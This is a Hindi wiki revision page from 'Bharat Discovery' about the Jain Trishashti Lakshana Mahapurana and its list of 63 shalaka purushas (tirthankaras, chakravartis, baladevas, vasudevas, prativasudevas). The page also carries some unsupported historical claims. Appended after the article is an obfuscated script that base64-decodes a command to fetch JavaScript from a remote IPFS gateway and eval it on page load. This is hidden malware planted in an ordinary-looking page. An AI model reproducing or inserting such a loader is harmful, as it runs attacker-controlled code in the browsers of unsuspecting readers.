"त्रिषष्टिलक्षण महापुराण" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''त्रिषष्टिलक्षण महापुराण''' भगवान श्रीराम की...' के साथ नया पृष्ठ बनाया)
 
पंक्ति 4: पंक्ति 4:
 
*आदिपुराण की रचना जिनसेन ने की थी तथा उत्तरपुराण की रचना जिनसेन के शिष्य गुणभद्र ने की थी।
 
*आदिपुराण की रचना जिनसेन ने की थी तथा उत्तरपुराण की रचना जिनसेन के शिष्य गुणभद्र ने की थी।
 
*यह ग्रन्थ नवीं शताब्दी का है।
 
*यह ग्रन्थ नवीं शताब्दी का है।
 +
==63 शलाका पुरुष==
 +
दुनिया के सर्वाधिक प्राचीन जैन धर्म और दर्शन को श्रमणों का धर्म कहते हैं। कुलकरों की परम्परा के बाद जैन धर्म में क्रमश: चौबीस तीर्थंकर, बारह चक्रवर्ती, नौ बलभद्र, नौ वासुदेव और नौ प्रति वासुदेव मिलाकर कुल 63 पुरुष हुए हैं।
 
<br />
 
<br />
 
<br />
 
<br />
{{seealso|रामायण|वाल्मीकि|राम|सीता|लक्ष्मण|हनुमान|रावण}}
+
'''चौबीस तीर्थंकर''' - [[ॠषभनाथ तीर्थंकर]], [[अजितनाथ]], [[सम्भवनाथ]], [[अभिनन्दननाथ]], [[सुमतिनाथ]], [[पद्मप्रभ]], [[सुपार्श्वनाथ]], [[चन्द्रप्रभ]], [[पुष्पदन्त]], [[शीतलनाथ]], [[श्रेयांसनाथ]], [[वासुपूज्य]], [[विमलनाथ]], [[अनन्तनाथ]], [[धर्मनाथ]], [[शान्तिनाथ]], [[कुन्थुनाथ]], [[अरनाथ]], [[मल्लिनाथ]], [[मुनिसुब्रनाथ]], [[नमिनाथ]], [[नेमिनाथ तीर्थंकर]] , [[तीर्थंकर पार्श्वनाथ|पार्श्वनाथ तीर्थंकर]], [[महावीर|वर्धमान महावीर]]
 +
<br />
 +
<br />
 +
'''बारह चक्रवर्ती''' - भरत, सगर, मघवा, सनतकुमार, शांति, कुन्थु, अरह, सुभौम, पदम, हरिषेण, जयसेन और ब्रह्मदत्त।
 +
<br />
 +
<br />
 +
'''नौ बलभद्र''' - अचल, विजय, भद्र, सुप्रभ, सुदर्शन, आनंद, नंदन, पदम और [[राम]]।
 +
<br />
 +
<br />
 +
'''नौ वासुदेव''' - त्रिपृष्ठ, द्विपृष्ठ, स्वयम्भू, पुरुषोत्तम, पुरुषसिंह, पुरुषपुण्डरीक, दत्त, नारायण और [[कृष्ण]]।
 +
<br />
 +
<br />
 +
'''नौ प्रति वासुदेव''' - [[अश्वग्रीव]], तारक, मेरक, मुध, निशुम्भ, [[बलि]], [[प्रह्लाद]], [[रावण]] और [[जरासंध]]।
 +
<br />
 +
<br />
 +
उक्त शलाका पुरुषों के द्वारा भूमि पर [[धर्म]], अर्थ, काम और [[मोक्ष]] के दर्शन की उत्पत्ति और उत्थान को माना जाता है। उक्त में से अधिकतर की ऐतिहासिक प्रामाणिकता सिद्ध है। [[जैन]] [[राम|भगवान राम]] को बलभद्र मानते हैं और [[कृष्ण|भगवान कृष्ण]] की गिनती नौ वासुदेव में करते हैं।
 +
 
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक= |पूर्णता= |शोध= }}

10:07, 25 जनवरी 2020 का अवतरण

त्रिषष्टिलक्षण महापुराण भगवान श्रीराम की कथाओं से सम्बंधित है। जैन साहित्य में भी रामकथा का वर्णन मिलता है, रिषष्टिलक्षण महापुराण उन्हीं में से एक है।

  • इसमें 63 शलाका पुरुषों का जीवनवृत्त दिया गया है। इसके दो भाग हैं- 'आदिपुराण' और 'उत्तरपुराण'
  • आदिपुराण की रचना जिनसेन ने की थी तथा उत्तरपुराण की रचना जिनसेन के शिष्य गुणभद्र ने की थी।
  • यह ग्रन्थ नवीं शताब्दी का है।

63 शलाका पुरुष

दुनिया के सर्वाधिक प्राचीन जैन धर्म और दर्शन को श्रमणों का धर्म कहते हैं। कुलकरों की परम्परा के बाद जैन धर्म में क्रमश: चौबीस तीर्थंकर, बारह चक्रवर्ती, नौ बलभद्र, नौ वासुदेव और नौ प्रति वासुदेव मिलाकर कुल 63 पुरुष हुए हैं।

चौबीस तीर्थंकर - ॠषभनाथ तीर्थंकर, अजितनाथ, सम्भवनाथ, अभिनन्दननाथ, सुमतिनाथ, पद्मप्रभ, सुपार्श्वनाथ, चन्द्रप्रभ, पुष्पदन्त, शीतलनाथ, श्रेयांसनाथ, वासुपूज्य, विमलनाथ, अनन्तनाथ, धर्मनाथ, शान्तिनाथ, कुन्थुनाथ, अरनाथ, मल्लिनाथ, मुनिसुब्रनाथ, नमिनाथ, नेमिनाथ तीर्थंकर , पार्श्वनाथ तीर्थंकर, वर्धमान महावीर

बारह चक्रवर्ती - भरत, सगर, मघवा, सनतकुमार, शांति, कुन्थु, अरह, सुभौम, पदम, हरिषेण, जयसेन और ब्रह्मदत्त।

नौ बलभद्र - अचल, विजय, भद्र, सुप्रभ, सुदर्शन, आनंद, नंदन, पदम और राम

नौ वासुदेव - त्रिपृष्ठ, द्विपृष्ठ, स्वयम्भू, पुरुषोत्तम, पुरुषसिंह, पुरुषपुण्डरीक, दत्त, नारायण और कृष्ण

नौ प्रति वासुदेव - अश्वग्रीव, तारक, मेरक, मुध, निशुम्भ, बलि, प्रह्लाद, रावण और जरासंध

उक्त शलाका पुरुषों के द्वारा भूमि पर धर्म, अर्थ, काम और मोक्ष के दर्शन की उत्पत्ति और उत्थान को माना जाता है। उक्त में से अधिकतर की ऐतिहासिक प्रामाणिकता सिद्ध है। जैन भगवान राम को बलभद्र मानते हैं और भगवान कृष्ण की गिनती नौ वासुदेव में करते हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>